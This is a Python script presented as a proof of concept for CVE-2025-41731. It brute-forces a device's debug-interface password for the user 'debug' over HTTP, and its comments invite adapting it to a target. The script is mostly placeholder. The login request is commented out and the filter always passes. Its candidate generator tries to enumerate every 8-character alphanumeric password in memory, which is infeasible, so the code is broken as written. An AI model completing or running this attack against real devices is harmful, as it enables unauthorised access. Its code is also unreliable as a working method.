# CVE-2025-41731 PoC - Debug Interface Password Brute Force
# Requirements: Python 3.x, requests library
import itertools
import string
import time
from datetime import datetime
def generate_candidate_passwords(charset, length, time_window):
"""
Generate candidate passwords based on known time window
Modify this function based on target device's password algorithm
"""
passwords = []
# This is a simplified example - actual algorithm depends on device
for candidate in itertools.product(charset, repeat=length):
password = ''.join(candidate)
# Simulate time-based password generation
if is_within_time_window(password, time_window):
passwords.append(password)
return passwords
def is_within_time_window(password, time_window):
"""
Check if password could be generated within the given time window
Actual implementation depends on target device's algorithm
"""
# Placeholder - implement based on specific device algorithm analysis
return True
def attempt_debug_login(target_ip, username, password):
"""
Attempt login to debug interface
Returns True if successful, False otherwise
"""
# Example HTTP request to debug interface
# Modify endpoint and authentication method based on target
payload = {
'username': username,
'password': password
}
try:
# requests.post(f'http://{target_ip}:debug_port/login', data=payload)
print(f"[*] Attempting password: {password}")
# Add actual authentication logic here
return False # Placeholder
except Exception as e:
print(f"[!] Error: {e}")
return False
def brute_force_attack(target_ip, time_window_start, time_window_end):
"""
Main brute force attack function
"""
print(f"[*] Starting brute force attack on {target_ip}")
print(f"[*] Time window: {time_window_start} to {time_window_end}")
charset = string.ascii_letters + string.digits
max_length = 8 # Adjust based on device password policy
# Generate passwords within time window
candidates = generate_candidate_passwords(charset, max_length,
(time_window_start, time_window_end))
print(f"[*] Generated {len(candidates)} candidate passwords")
for password in candidates:
if attempt_debug_login(target_ip, 'debug', password):
print(f"[!] SUCCESS! Password found: {password}")
return password
time.sleep(0.1) # Rate limiting (if applicable)
print("[*] Attack completed - password not found")
return None
# Usage example
# target = "192.168.1.100"
# start_time = datetime(2025, 1, 1, 0, 0, 0)
# end_time = datetime(2025, 1, 1, 12, 0, 0)
# brute_force_attack(target, start_time, end_time)